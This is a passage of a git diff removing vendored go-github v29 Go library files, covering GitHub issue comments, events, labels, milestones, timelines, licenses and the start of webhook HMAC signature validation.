*time.Time `json:"updated_at,omitempty"` - // AuthorAssociation is the comment author's relationship to the issue's repository. - // Possible values are "COLLABORATOR", "CONTRIBUTOR", "FIRST_TIMER", "FIRST_TIME_CONTRIBUTOR", "MEMBER", "OWNER", or "NONE". - AuthorAssociation *string `json:"author_association,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - IssueURL *string `json:"issue_url,omitempty"` -} - -func (i IssueComment) String() string { - return Stringify(i) -} - -// IssueListCommentsOptions specifies the optional parameters to the -// IssuesService.ListComments method. -type IssueListCommentsOptions struct { - // Sort specifies how to sort comments. Possible values are: created, updated. - Sort *string `url:"sort,omitempty"` - - // Direction in which to sort comments. Possible values are: asc, desc. - Direction *string `url:"direction,omitempty"` - - // Since filters comments by time. - Since *time.Time `url:"since,omitempty"` - - ListOptions -} - -// ListComments lists all comments on the specified issue. Specifying an issue -// number of 0 will return all comments on all issues for the repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#list-comments-on-an-issue -func (s *IssuesService) ListComments(ctx context.Context, owner string, repo string, number int, opt *IssueListCommentsOptions) ([]*IssueComment, *Response, error) { - var u string - if number == 0 { - u = fmt.Sprintf("repos/%v/%v/issues/comments", owner, repo) - } else { - u = fmt.Sprintf("repos/%v/%v/issues/%d/comments", owner, repo, number) - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var comments []*IssueComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment fetches the specified issue comment. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#get-a-single-comment -func (s *IssuesService) GetComment(ctx context.Context, owner string, repo string, commentID int64) (*IssueComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%d", owner, repo, commentID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - comment := new(IssueComment) - resp, err := s.client.Do(ctx, req, comment) - if err != nil { - return nil, resp, err - } - - return comment, resp, nil -} - -// CreateComment creates a new comment on the specified issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#create-a-comment -func (s *IssuesService) CreateComment(ctx context.Context, owner string, repo string, number int, comment *IssueComment) (*IssueComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/comments", owner, repo, number) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - c := new(IssueComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// EditComment updates an issue comment. -// A non-nil comment.Body must be provided. Other comment fields should be left nil. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#edit-a-comment -func (s *IssuesService) EditComment(ctx context.Context, owner string, repo string, commentID int64, comment *IssueComment) (*IssueComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - c := new(IssueComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes an issue comment. -// -// GitHub API docs: https://developer.github.com/v3/issues/comments/#delete-a-comment -func (s *IssuesService) DeleteComment(ctx context.Context, owner string, repo string, commentID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/issues_events.go b/vendor/github.com/google/go-github/v29/github/issues_events.go deleted file mode 100644 index 4456d67e5c..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues_events.go +++ /dev/null @@ -1,175 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// IssueEvent represents an event that occurred around an Issue or Pull Request. -type IssueEvent struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - - // The User that generated this event. - Actor *User `json:"actor,omitempty"` - - // Event identifies the actual type of Event that occurred. Possible - // values are: - // - // closed - // The Actor closed the issue. - // If the issue was closed by commit message, CommitID holds the SHA1 hash of the commit. - // - // merged - // The Actor merged into master a branch containing a commit mentioning the issue. - // CommitID holds the SHA1 of the merge commit. - // - // referenced - // The Actor committed to master a commit mentioning the issue in its commit message. - // CommitID holds the SHA1 of the commit. - // - // reopened, unlocked - // The Actor did that to the issue. - // - // locked - // The Actor locked the issue. - // LockReason holds the reason of locking the issue (if provided while locking). - // - // renamed - // The Actor changed the issue title from Rename.From to Rename.To. - // - // mentioned - // Someone unspecified @mentioned the Actor [sic] in an issue comment body. - // - // assigned, unassigned - // The Assigner assigned the issue to or removed the assignment from the Assignee. - // - // labeled, unlabeled - // The Actor added or removed the Label from the issue. - // - // milestoned, demilestoned - // The Actor added or removed the issue from the Milestone. - // - // subscribed, unsubscribed - // The Actor subscribed to or unsubscribed from notifications for an issue. - // - // head_ref_deleted, head_ref_restored - // The pull request’s branch was deleted or restored. - // - // review_dismissed - // The review was dismissed and `DismissedReview` will be populated below. - // - Event *string `json:"event,omitempty"` - - CreatedAt *time.Time `json:"created_at,omitempty"` - Issue *Issue `json:"issue,omitempty"` - - // Only present on certain events; see above. - Assignee *User `json:"assignee,omitempty"` - Assigner *User `json:"assigner,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - Milestone *Milestone `json:"milestone,omitempty"` - Label *Label `json:"label,omitempty"` - Rename *Rename `json:"rename,omitempty"` - LockReason *string `json:"lock_reason,omitempty"` - ProjectCard *ProjectCard `json:"project_card,omitempty"` - DismissedReview *DismissedReview `json:"dismissed_review,omitempty"` -} - -// DismissedReview represents details for 'dismissed_review' events. -type DismissedReview struct { - // State represents the state of the dismissed review. - // Possible values are: "commented", "approved", and "changes_requested". - State *string `json:"state,omitempty"` - ReviewID *int64 `json:"review_id,omitempty"` - DismissalMessage *string `json:"dismissal_message,omitempty"` - DismissalCommitID *string `json:"dismissal_commit_id,omitempty"` -} - -// ListIssueEvents lists events for the specified issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#list-events-for-an-issue -func (s *IssuesService) ListIssueEvents(ctx context.Context, owner, repo string, number int, opt *ListOptions) ([]*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/events", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - acceptHeaders := []string{mediaTypeLockReasonPreview, mediaTypeProjectCardDetailsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var events []*IssueEvent - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListRepositoryEvents lists events for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#list-events-for-a-repository -func (s *IssuesService) ListRepositoryEvents(ctx context.Context, owner, repo string, opt *ListOptions) ([]*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/events", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*IssueEvent - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// GetEvent returns the specified issue event. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#get-a-single-event -func (s *IssuesService) GetEvent(ctx context.Context, owner, repo string, id int64) (*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/events/%v", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - event := new(IssueEvent) - resp, err := s.client.Do(ctx, req, event) - if err != nil { - return nil, resp, err - } - - return event, resp, nil -} - -// Rename contains details for 'renamed' events. -type Rename struct { - From *string `json:"from,omitempty"` - To *string `json:"to,omitempty"` -} - -func (r Rename) String() string { - return Stringify(r) -} diff --git a/vendor/github.com/google/go-github/v29/github/issues_labels.go b/vendor/github.com/google/go-github/v29/github/issues_labels.go deleted file mode 100644 index 0771a28c8f..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues_labels.go +++ /dev/null @@ -1,231 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Label represents a GitHub label on an Issue -type Label struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Color *string `json:"color,omitempty"` - Description *string `json:"description,omitempty"` - Default *bool `json:"default,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (l Label) String() string { - return Stringify(l) -} - -// ListLabels lists all labels for a repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#list-all-labels-for-this-repository -func (s *IssuesService) ListLabels(ctx context.Context, owner string, repo string, opt *ListOptions) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var labels []*Label - resp, err := s.client.Do(ctx, req, &labels) - if err != nil { - return nil, resp, err - } - - return labels, resp, nil -} - -// GetLabel gets a single label. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#get-a-single-label -func (s *IssuesService) GetLabel(ctx context.Context, owner string, repo string, name string) (*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels/%v", owner, repo, name) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - label := new(Label) - resp, err := s.client.Do(ctx, req, label) - if err != nil { - return nil, resp, err - } - - return label, resp, nil -} - -// CreateLabel creates a new label on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#create-a-label -func (s *IssuesService) CreateLabel(ctx context.Context, owner string, repo string, label *Label) (*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels", owner, repo) - req, err := s.client.NewRequest("POST", u, label) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(ctx, req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// EditLabel edits a label. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#update-a-label -func (s *IssuesService) EditLabel(ctx context.Context, owner string, repo string, name string, label *Label) (*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels/%v", owner, repo, name) - req, err := s.client.NewRequest("PATCH", u, label) - if err != nil { - return nil, nil, err - } - - l := new(Label) - resp, err := s.client.Do(ctx, req, l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// DeleteLabel deletes a label. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#delete-a-label -func (s *IssuesService) DeleteLabel(ctx context.Context, owner string, repo string, name string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/labels/%v", owner, repo, name) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// ListLabelsByIssue lists all labels for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#list-labels-on-an-issue -func (s *IssuesService) ListLabelsByIssue(ctx context.Context, owner string, repo string, number int, opt *ListOptions) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var labels []*Label - resp, err := s.client.Do(ctx, req, &labels) - if err != nil { - return nil, resp, err - } - - return labels, resp, nil -} - -// AddLabelsToIssue adds labels to an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#add-labels-to-an-issue -func (s *IssuesService) AddLabelsToIssue(ctx context.Context, owner string, repo string, number int, labels []string) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - req, err := s.client.NewRequest("POST", u, labels) - if err != nil { - return nil, nil, err - } - - var l []*Label - resp, err := s.client.Do(ctx, req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// RemoveLabelForIssue removes a label for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#remove-a-label-from-an-issue -func (s *IssuesService) RemoveLabelForIssue(ctx context.Context, owner string, repo string, number int, label string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels/%v", owner, repo, number, label) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ReplaceLabelsForIssue replaces all labels for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#replace-all-labels-for-an-issue -func (s *IssuesService) ReplaceLabelsForIssue(ctx context.Context, owner string, repo string, number int, labels []string) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - req, err := s.client.NewRequest("PUT", u, labels) - if err != nil { - return nil, nil, err - } - - var l []*Label - resp, err := s.client.Do(ctx, req, &l) - if err != nil { - return nil, resp, err - } - - return l, resp, nil -} - -// RemoveLabelsForIssue removes all labels for an issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#remove-all-labels-from-an-issue -func (s *IssuesService) RemoveLabelsForIssue(ctx context.Context, owner string, repo string, number int) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%d/labels", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListLabelsForMilestone lists labels for every issue in a milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/labels/#get-labels-for-every-issue-in-a-milestone -func (s *IssuesService) ListLabelsForMilestone(ctx context.Context, owner string, repo string, number int, opt *ListOptions) ([]*Label, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d/labels", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var labels []*Label - resp, err := s.client.Do(ctx, req, &labels) - if err != nil { - return nil, resp, err - } - - return labels, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/issues_milestones.go b/vendor/github.com/google/go-github/v29/github/issues_milestones.go deleted file mode 100644 index ffe9aae14c..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues_milestones.go +++ /dev/null @@ -1,148 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// Milestone represents a GitHub repository milestone. -type Milestone struct { - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - LabelsURL *string `json:"labels_url,omitempty"` - ID *int64 `json:"id,omitempty"` - Number *int `json:"number,omitempty"` - State *string `json:"state,omitempty"` - Title *string `json:"title,omitempty"` - Description *string `json:"description,omitempty"` - Creator *User `json:"creator,omitempty"` - OpenIssues *int `json:"open_issues,omitempty"` - ClosedIssues *int `json:"closed_issues,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - ClosedAt *time.Time `json:"closed_at,omitempty"` - DueOn *time.Time `json:"due_on,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (m Milestone) String() string { - return Stringify(m) -} - -// MilestoneListOptions specifies the optional parameters to the -// IssuesService.ListMilestones method. -type MilestoneListOptions struct { - // State filters milestones based on their state. Possible values are: - // open, closed, all. Default is "open". - State string `url:"state,omitempty"` - - // Sort specifies how to sort milestones. Possible values are: due_on, completeness. - // Default value is "due_on". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort milestones. Possible values are: asc, desc. - // Default is "asc". - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListMilestones lists all milestones for a repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#list-milestones-for-a-repository -func (s *IssuesService) ListMilestones(ctx context.Context, owner string, repo string, opt *MilestoneListOptions) ([]*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var milestones []*Milestone - resp, err := s.client.Do(ctx, req, &milestones) - if err != nil { - return nil, resp, err - } - - return milestones, resp, nil -} - -// GetMilestone gets a single milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#get-a-single-milestone -func (s *IssuesService) GetMilestone(ctx context.Context, owner string, repo string, number int) (*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - milestone := new(Milestone) - resp, err := s.client.Do(ctx, req, milestone) - if err != nil { - return nil, resp, err - } - - return milestone, resp, nil -} - -// CreateMilestone creates a new milestone on the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#create-a-milestone -func (s *IssuesService) CreateMilestone(ctx context.Context, owner string, repo string, milestone *Milestone) (*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones", owner, repo) - req, err := s.client.NewRequest("POST", u, milestone) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// EditMilestone edits a milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#update-a-milestone -func (s *IssuesService) EditMilestone(ctx context.Context, owner string, repo string, number int, milestone *Milestone) (*Milestone, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d", owner, repo, number) - req, err := s.client.NewRequest("PATCH", u, milestone) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteMilestone deletes a milestone. -// -// GitHub API docs: https://developer.github.com/v3/issues/milestones/#delete-a-milestone -func (s *IssuesService) DeleteMilestone(ctx context.Context, owner string, repo string, number int) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/milestones/%d", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/issues_timeline.go b/vendor/github.com/google/go-github/v29/github/issues_timeline.go deleted file mode 100644 index d0e4a3a942..0000000000 --- a/vendor/github.com/google/go-github/v29/github/issues_timeline.go +++ /dev/null @@ -1,154 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// Timeline represents an event that occurred around an Issue or Pull Request. -// -// It is similar to an IssueEvent but may contain more information. -// GitHub API docs: https://developer.github.com/v3/issues/timeline/ -type Timeline struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - CommitURL *string `json:"commit_url,omitempty"` - - // The User object that generated the event. - Actor *User `json:"actor,omitempty"` - - // Event identifies the actual type of Event that occurred. Possible values - // are: - // - // assigned - // The issue was assigned to the assignee. - // - // closed - // The issue was closed by the actor. When the commit_id is present, it - // identifies the commit that closed the issue using "closes / fixes #NN" - // syntax. - // - // commented - // A comment was added to the issue. - // - // committed - // A commit was added to the pull request's 'HEAD' branch. Only provided - // for pull requests. - // - // cross-referenced - // The issue was referenced from another issue. The 'source' attribute - // contains the 'id', 'actor', and 'url' of the reference's source. - // - // demilestoned - // The issue was removed from a milestone. - // - // head_ref_deleted - // The pull request's branch was deleted. - // - // head_ref_restored - // The pull request's branch was restored. - // - // labeled - // A label was added to the issue. - // - // locked - // The issue was locked by the actor. - // - // mentioned - // The actor was @mentioned in an issue body. - // - // merged - // The issue was merged by the actor. The 'commit_id' attribute is the - // SHA1 of the HEAD commit that was merged. - // - // milestoned - // The issue was added to a milestone. - // - // referenced - // The issue was referenced from a commit message. The 'commit_id' - // attribute is the commit SHA1 of where that happened. - // - // renamed - // The issue title was changed. - // - // reopened - // The issue was reopened by the actor. - // - // subscribed - // The actor subscribed to receive notifications for an issue. - // - // unassigned - // The assignee was unassigned from the issue. - // - // unlabeled - // A label was removed from the issue. - // - // unlocked - // The issue was unlocked by the actor. - // - // unsubscribed - // The actor unsubscribed to stop receiving notifications for an issue. - // - Event *string `json:"event,omitempty"` - - // The string SHA of a commit that referenced this Issue or Pull Request. - CommitID *string `json:"commit_id,omitempty"` - // The timestamp indicating when the event occurred. - CreatedAt *time.Time `json:"created_at,omitempty"` - // The Label object including `name` and `color` attributes. Only provided for - // 'labeled' and 'unlabeled' events. - Label *Label `json:"label,omitempty"` - // The User object which was assigned to (or unassigned from) this Issue or - // Pull Request. Only provided for 'assigned' and 'unassigned' events. - Assignee *User `json:"assignee,omitempty"` - // The Milestone object including a 'title' attribute. - // Only provided for 'milestoned' and 'demilestoned' events. - Milestone *Milestone `json:"milestone,omitempty"` - // The 'id', 'actor', and 'url' for the source of a reference from another issue. - // Only provided for 'cross-referenced' events. - Source *Source `json:"source,omitempty"` - // An object containing rename details including 'from' and 'to' attributes. - // Only provided for 'renamed' events. - Rename *Rename `json:"rename,omitempty"` - ProjectCard *ProjectCard `json:"project_card,omitempty"` -} - -// Source represents a reference's source. -type Source struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Actor *User `json:"actor,omitempty"` - Type *string `json:"type,omitempty"` - Issue *Issue `json:"issue,omitempty"` -} - -// ListIssueTimeline lists events for the specified issue. -// -// GitHub API docs: https://developer.github.com/v3/issues/timeline/#list-events-for-an-issue -func (s *IssuesService) ListIssueTimeline(ctx context.Context, owner, repo string, number int, opt *ListOptions) ([]*Timeline, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/timeline", owner, repo, number) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeTimelinePreview, mediaTypeProjectCardDetailsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var events []*Timeline - resp, err := s.client.Do(ctx, req, &events) - return events, resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/licenses.go b/vendor/github.com/google/go-github/v29/github/licenses.go deleted file mode 100644 index 1176d3a8bf..0000000000 --- a/vendor/github.com/google/go-github/v29/github/licenses.go +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// LicensesService handles communication with the license related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/licenses/ -type LicensesService service - -// RepositoryLicense represents the license for a repository. -type RepositoryLicense struct { - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - - SHA *string `json:"sha,omitempty"` - Size *int `json:"size,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - DownloadURL *string `json:"download_url,omitempty"` - Type *string `json:"type,omitempty"` - Content *string `json:"content,omitempty"` - Encoding *string `json:"encoding,omitempty"` - License *License `json:"license,omitempty"` -} - -func (l RepositoryLicense) String() string { - return Stringify(l) -} - -// License represents an open source license. -type License struct { - Key *string `json:"key,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - - SPDXID *string `json:"spdx_id,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Featured *bool `json:"featured,omitempty"` - Description *string `json:"description,omitempty"` - Implementation *string `json:"implementation,omitempty"` - Permissions *[]string `json:"permissions,omitempty"` - Conditions *[]string `json:"conditions,omitempty"` - Limitations *[]string `json:"limitations,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (l License) String() string { - return Stringify(l) -} - -// List popular open source licenses. -// -// GitHub API docs: https://developer.github.com/v3/licenses/#list-all-licenses -func (s *LicensesService) List(ctx context.Context) ([]*License, *Response, error) { - req, err := s.client.NewRequest("GET", "licenses", nil) - if err != nil { - return nil, nil, err - } - - var licenses []*License - resp, err := s.client.Do(ctx, req, &licenses) - if err != nil { - return nil, resp, err - } - - return licenses, resp, nil -} - -// Get extended metadata for one license. -// -// GitHub API docs: https://developer.github.com/v3/licenses/#get-an-individual-license -func (s *LicensesService) Get(ctx context.Context, licenseName string) (*License, *Response, error) { - u := fmt.Sprintf("licenses/%s", licenseName) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - license := new(License) - resp, err := s.client.Do(ctx, req, license) - if err != nil { - return nil, resp, err - } - - return license, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/messages.go b/vendor/github.com/google/go-github/v29/github/messages.go deleted file mode 100644 index 759f9e8180..0000000000 --- a/vendor/github.com/google/go-github/v29/github/messages.go +++ /dev/null @@ -1,260 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// This file provides functions for validating payloads from GitHub Webhooks. -// GitHub API docs: https://developer.github.com/webhooks/securing/#validating-payloads-from-github - -package github - -import ( - "crypto/hmac" - "crypto/sha1" - "crypto/sha256" - "crypto/sha512" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "hash" - "io/ioutil" - "net/http" - "net/url" - "strings" -) - -const ( - // sha1Prefix is the prefix used by GitHub before the HMAC hexdigest. - sha1Prefix = "sha1" - // sha256Prefix and sha512Prefix are provided for future compatibility. - sha256Prefix = "sha256" - sha512Prefix = "sha512" - // signatureHeader is the GitHub header key used to pass the HMAC hexdigest. - signatureHeader = "X-Hub-Signature" - // eventTypeHeader is the GitHub header key used to pass the event type. - eventTypeHeader = "X-Github-Event" - // deliveryIDHeader is the GitHub header key used to pass the unique ID for the webhook event. - deliveryIDHeader = "X-Github-Delivery" -) - -var ( - // eventTypeMapping maps webhooks types to their corresponding go-github struct types. - eventTypeMapping = map[string]string{ - "check_run": "CheckRunEvent", - "check_suite": "CheckSuiteEvent", - "commit_comment": "CommitCommentEvent", - "create": "CreateEvent", - "delete": "DeleteEvent", - "deploy_key": "DeployKeyEvent", - "deployment": "DeploymentEvent", - "deployment_status": "DeploymentStatusEvent", - "fork": "ForkEvent", - "gollum": "GollumEvent", - "installation": "InstallationEvent", - "installation_repositories": "InstallationRepositoriesEvent", - "issue_comment": "IssueCommentEvent", - "issues": "IssuesEvent", - "label": "LabelEvent", - "marketplace_purchase": "MarketplacePurchaseEvent", - "member": "MemberEvent", - "membership": "MembershipEvent", - "meta": "MetaEvent", - "milestone": "MilestoneEvent", - "organization": "OrganizationEvent", - "org_block": "OrgBlockEvent", - "page_build": "PageBuildEvent", - "ping": "PingEvent", - "project": "ProjectEvent", - "project_card": "ProjectCardEvent", - "project_column": "ProjectColumnEvent", - "public": "PublicEvent", - "pull_request_review": "PullRequestReviewEvent", - "pull_request_review_comment": "PullRequestReviewCommentEvent", - "pull_request": "PullRequestEvent", - "push": "PushEvent", - "repository": "RepositoryEvent", - "repository_dispatch": "RepositoryDispatchEvent", - "repository_vulnerability_alert": "RepositoryVulnerabilityAlertEvent", - "release": "ReleaseEvent", - "star": "StarEvent", - "status": "StatusEvent", - "team": "TeamEvent", - "team_add": "TeamAddEvent", - "user": "UserEvent", - "watch": "WatchEvent", - } -) - -// genMAC generates the HMAC signature for a message provided the secret key -// and hashFunc. -func genMAC(message, key []byte, hashFunc func() hash.Hash) []byte { - mac := hmac.New(hashFunc, key) - mac.Write(message) - return mac.Sum(nil) -} - -// checkMAC reports whether messageMAC is a valid HMAC tag for message. -func checkMAC(message, messageMAC, key []byte, hashFunc func() hash.Hash) bool { - expectedMAC := genMAC(message, key, hashFunc) - return hmac.Equal(messageMAC, expectedMAC) -} - -// messageMAC returns the hex-decoded HMAC tag from the signature and its -// corresponding hash function. -func messageMAC(signature string) ([]byte, func() hash.Hash, error) { - if signature == "" { - return nil, nil, errors.New("missing signature") - } - sigParts := strings.SplitN(signature, "=", 2) - if len(sigParts) != 2 { - return nil, nil, fmt.Errorf("error parsing signature %q", signature) - } - - var hashFunc func() hash.Hash - switch sigParts[0] { - case sha1Prefix: - hashFunc = sha1.New - case sha256Prefix: - hashFunc = sha256.New - case sha512Prefix: - hashFunc = sha512.New - default: - return nil, nil, fmt.Errorf("unknown hash type prefix: %q", sigParts[0]) - } - - buf, err := hex.DecodeString(sigParts[1]) - if err != nil { - return nil, nil, fmt.Errorf("error decoding signature %q: %v", signature, err) - } - return buf, hashFunc, nil -} - -// ValidatePayload validates an incoming GitHub Webhook event request -// and returns the (JSON) payload. -// The Content-Type header of the payload can be "application/json" or "application/x-www-form-urlencoded". -// If the Content-Type is neither then 